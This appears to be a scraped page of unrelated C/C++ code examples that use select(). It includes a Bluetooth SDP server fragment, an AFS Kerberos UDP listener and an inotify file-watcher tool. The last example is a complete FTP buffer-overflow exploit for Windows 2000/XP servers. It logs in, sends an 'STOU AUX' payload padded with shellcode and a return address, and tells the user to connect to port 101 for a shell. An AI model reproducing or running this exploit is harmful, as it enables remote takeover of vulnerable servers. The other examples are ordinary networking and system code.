        omtu = srv->fdidx[fd].omtu;
    }

    /*
     * Allocate buffer. This is an overkill, but we can not know how
     * big our reply is going to be.
     */

    rsp = (uint8_t *) calloc(NG_L2CAP_MTU_MAXIMUM, sizeof(rsp[0]));
    if (rsp == NULL) {
        log_crit("Could not allocate response buffer");
        close(cfd);
        return;
    }

    /* Add client descriptor to the index */
    FD_SET(cfd, &srv->fdset);
    if (srv->maxfd < cfd)
        srv->maxfd = cfd;
    srv->fdidx[cfd].valid = 1;
    srv->fdidx[cfd].server = 0;
    srv->fdidx[cfd].control = srv->fdidx[fd].control;
    srv->fdidx[cfd].priv = priv;
    srv->fdidx[cfd].rsp_cs = 0;
    srv->fdidx[cfd].rsp_size = 0;
    srv->fdidx[cfd].rsp_limit = 0;
    srv->fdidx[cfd].omtu = omtu;
    srv->fdidx[cfd].rsp = rsp;
}
Esempio n. 28
0
static void *
SocketListener(void *unused)
{
    fd_set rfds;
    struct timeval tv;
    struct packet packet;
    socklen_t fromLen;
    afs_int32 code;
    char hoststr[16];

    printf("Starting to listen for UDP packets\n");
    while (1) {
	FD_ZERO(&rfds);
	if (sock_kerb >= 0)
	    FD_SET(sock_kerb, &rfds);
	if (sock_kerb5 >= 0)
	    FD_SET(sock_kerb5, &rfds);

	tv.tv_sec = 100;
	tv.tv_usec = 0;
	/* write and exception fd_set's are null */
	code = IOMGR_Select(32, &rfds, NULL, NULL, &tv);
	if (code == 0) {	/* timeout */
	    /* printf ("Timeout\n"); */
	    continue;
	} else if (code < 0) {
	    perror("calling IOMGR_Select");
	    break;
	}

	fromLen = sizeof(packet.from);
	if ((sock_kerb >= 0) && FD_ISSET(sock_kerb, &rfds)) {
	    code =
		recvfrom(sock_kerb, packet.data, sizeof(packet.data), 0,
			 (struct sockaddr *)&packet.from, &fromLen);
	    if (code < 0) {
		if (errno == EAGAIN || errno == ECONNREFUSED)
		    goto try_kerb5;
		perror("calling recvfrom");
		break;
	    }
	    packet.len = code;
	    if (krb_udp_debug) {
		printf("Kerb:udp: Got %d bytes from addr %s which are '",
		       code, afs_inet_ntoa_r(packet.from.sin_addr.s_addr, hoststr));
		ka_PrintBytes(packet.data, packet.len);
		printf("'\n");
	    }
	    packet.name = packet.inst = packet.realm = "";
	    packet.time = 0;
	    process_udp_request(sock_kerb, &packet);
	}
      try_kerb5:
	if ((sock_kerb5 >= 0) && FD_ISSET(sock_kerb5, &rfds)) {
	    code =
		recvfrom(sock_kerb5, packet.data, sizeof(packet.data), 0,
			 (struct sockaddr *)&packet.from, &fromLen);
	    if (code < 0) {
		if (errno == EAGAIN || errno == ECONNREFUSED)
		    continue;
		perror("calling recvfrom");
		break;
	    }
	    packet.len = code;
	    if (krb_udp_debug) {
		printf("Kerb5:udp: Got %d bytes from addr %s which are '",
		       code, afs_inet_ntoa_r(packet.from.sin_addr.s_addr, hoststr));
		ka_PrintBytes(packet.data, packet.len);
		printf("'\n");
	    }
	    packet.name = packet.inst = packet.realm = "";
	    packet.time = 0;
	    process_udp_request(sock_kerb5, &packet);
	}
    }
    if (sock_kerb >= 0) {
	closesocket(sock_kerb);
	sock_kerb = -1;
    }
    if (sock_kerb5 >= 0) {
	closesocket(sock_kerb5);
	sock_kerb5 = -1;
    }
    printf("UDP SocketListener exiting due to error\n");

    return NULL;
}
Esempio n. 29
0
int main(int argc, char **argv)
{
  int ch, option_index;
  int infd, inwd;
  int res, ret, status;
  const char *command, *path;
  struct fileinfo hints, *info, *p;
  fd_set fds;
  sigset_t sigmask, empty_mask;
  struct sigaction sa;
  const struct inotify_event *event;
  char buf[BUFFER_SIZE]
    __attribute__((aligned(__alignof__(struct inotify_event))));
  char *iter;
  ssize_t len;
  pid_t pid;
  char *env[2];

  static struct option options[] = {
    { "help",      no_argument, &help_flag,      1 },
    { "version",   no_argument, &version_flag,   1 },
    { "recursive", no_argument, &recursive_flag, 1 },
    { 0, 0, 0, 0 }
  };

  ret = EXIT_FAILURE;

  while (1) {
    option_index = 0;
    ch = getopt_long(argc, argv, "hvr", options, &option_index);

    if (ch == -1)
      break;

    switch (ch) {
    case 0:
      if (options[option_index].flag != 0)
        break;
      printf("option %s\n", options[option_index].name);
      break;

    case 'h':
      help_flag = 1;
      break;

    case 'v':
      version_flag = 1;
      break;

    case 'r':
      recursive_flag = 1;
      break;
    }
  }

  if (version_flag) {
    printf("%s\n", PACKAGE_STRING);
    ret = EXIT_SUCCESS;
    goto done;
  }

  if (help_flag || (optind + 1) >= argc) {
    printf("Usage: watchtower [options] <command> <dir>\n");
    printf("\n");
    printf("Run a shell script in response to filesystem events.\n");
    printf("\n");
    printf("Examples:\n");
    printf("  watchtower 'echo $F' /home/user  # prints any filenames modified under "
           "/home/user\n");
    printf("\n");
    printf("Available options:\n");
    printf("  -h, --help       print this message\n");
    printf("  -v, --version    print program version\n");
    printf("  -r, --recursive  set program to watch entire subtree\n");
    ret = EXIT_SUCCESS;
    goto done;
  }

  if (recursive_flag)
    fprintf(stderr, "WARNING: recursive mode is not yet implemented\n");

  command = argv[optind++];
  path = argv[optind];

  memset(&hints, 0, sizeof(struct fileinfo));
  hints.fi_type = DT_DIR;

  if ((res = getfileinfo(path, &hints, &info)) != 0) {
    fprintf(stderr, "getfileinfo: %s\n", gfi_strerror(res));
    goto done;
  }

  infd = inotify_init();

  for (p = info; p; p = p->fi_next) {
    if (strcmp(p->fi_name, "..") == 0)
      continue;

    if (strcmp(p->fi_name, ".") == 0)
      inwd = inotify_add_watch(infd, p->fi_path, IN_MODIFY);
  }

  freefileinfo(info);

  sigemptyset(&sigmask);
  sigaddset(&sigmask, SIGINT);
  sigprocmask(SIG_BLOCK, &sigmask, NULL);

  sa.sa_flags = 0;
  sa.sa_handler = interrupt_handler;
  sigemptyset(&sa.sa_mask);
  sigaction(SIGINT, &sa, NULL);

  sigemptyset(&empty_mask);

  for (;;) {
    FD_ZERO(&fds);
    FD_SET(infd, &fds);

    pselect(infd + 1, &fds, NULL, NULL, NULL, &empty_mask);

    if (got_SIGINT) {
      printf("\ncleaning up...\n");
      break;
    }

    len = read(infd, buf, BUFFER_SIZE);

    for (iter = buf; iter < buf + len;
         iter += sizeof(struct inotify_event) + event->len) {
      event = (const struct inotify_event *)iter;

      if (event->mask & IN_MODIFY) {
        pid = fork();

        switch (pid) {
        case -1:
          fprintf(stderr, "forking failed\n");
          break;

        case 0:
          env[0] = malloc(strlen(event->name) + 3);
          sprintf(env[0], "F=%s", event->name);
          env[1] = NULL;
          execle("/bin/sh", "sh", "-c", command, (char *)NULL, env);
          free(env[0]);
          ret = EXIT_SUCCESS;
          goto done;

        default:
          fflush(NULL);
          if (waitpid(pid, &status, 0) == -1)
            fprintf(stderr, "child process failed\n");
          break;
        }
      }
    }
  }

  inotify_rm_watch(infd, inwd);
  close(infd);

  ret = EXIT_SUCCESS;

 done:
  return ret;
}
Esempio n. 30
0
int main(int argc,char *argv[])
{
        ver();
        if ((argc<5)||(argc>6)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;}
        if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
        char *login=argv[2], *passwd=argv[3], data[10], recvbuf2[100], recvbuf[100], rootbuf[100], logbuf[100], logbuf2[100], pdbuf[100], pdbuf2[100];
        int ip=htonl(inet_addr(argv[4])), sz, a, sizeA, lgth, port;
        if (argc==6){port=atoi(argv[5]);}
        else port=21;
        char *os;
        if (atoi(argv[1]) == 1){os="Win2k based system";}
        if (atoi(argv[1]) == 1){os="Win2k based system";}
        if (atoi(argv[1]) == 2){os="WinXP based system";}
        if (atoi(argv[1]) == 2){os="WinXP based system";}
        SOCKET s;
        struct fd_set mask;
        struct timeval timeout;
        struct sockaddr_in server;
        s=socket(AF_INET,SOCK_STREAM,0);
        if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
        cout<<"[+] target: "<<os<<endl;
        server.sin_family=AF_INET;
        server.sin_addr.s_addr=htonl(ip);
        server.sin_port=htons(port);
        WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
        timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
        switch(select(s+1,NULL,&mask,NULL,&timeout))
        {
                case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
                case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
                default:
                if(FD_ISSET(s,&mask))
                {
                        cout<<"[+] connected, login in process..."<<endl;
                        Sleep(100);recv(s,recvbuf2,100,0);
                        if (!strstr(recvbuf2,"220")){cout<<"[+] this is not an ftp server, quitting..."<<endl;return -1;}
                        strcpy(logbuf,"USER ");strcpy(logbuf2,login);strcpy(pdbuf,"PASS ");strcpy(pdbuf2,passwd);strcpy(rootbuf,"STOU AUX");strcpy(data,"\r\n");
                        if (send(s,logbuf,strlen(logbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
                        if (send(s,logbuf2,strlen(logbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
                        if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
                        Sleep(1000);
                        if (send(s,pdbuf,strlen(pdbuf),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
                        if (send(s,pdbuf2,strlen(pdbuf2),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
                        if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
                        Sleep(1000);
                        if (recv(s,recvbuf,200,0)==SOCKET_ERROR){ cout<<"[+] Error during the login processus, check the ftp."<<endl;return -1;}
                        if (strstr(recvbuf,"530")){ cout<<"[+] wrong login or passwd"<<endl;return -1;}
                        cout<<"[+] login success!"<<endl;Sleep(1000);cout<<"[+] sending the exploit string"<<endl;
                        if (atoi(argv[1]) == 1){lgth=500+1;}
                        if (atoi(argv[1]) == 2){lgth=498+1;}
                        sizeA=lgth-sizeof(scode);
                        sz=(sizeA-1)+sizeof(scode)+10;
                        memset(payload,0,sizeof(payload));
                        strcat(payload,cmd);strcat(payload,"\x41\x41\x41");
                        strcat(payload,scode);
                        for (a=0;a<sizeA;a++){strcat(payload,"\x41");}
                        strcat(payload,call);
                        strcat(payload,"\r\n");
                        Sleep(1000);
                    if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
                        if (send(s,data,strlen(data),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
                        Sleep(1000);
                        cout<<"[+] size of payload: "<<sz<<endl;
                        cout<<"[+] payload send, connect the port 101 to get a shell."<<endl;
                        return 0;
                }
        }
        closesocket(s);
        WSACleanup();
        return 0;
}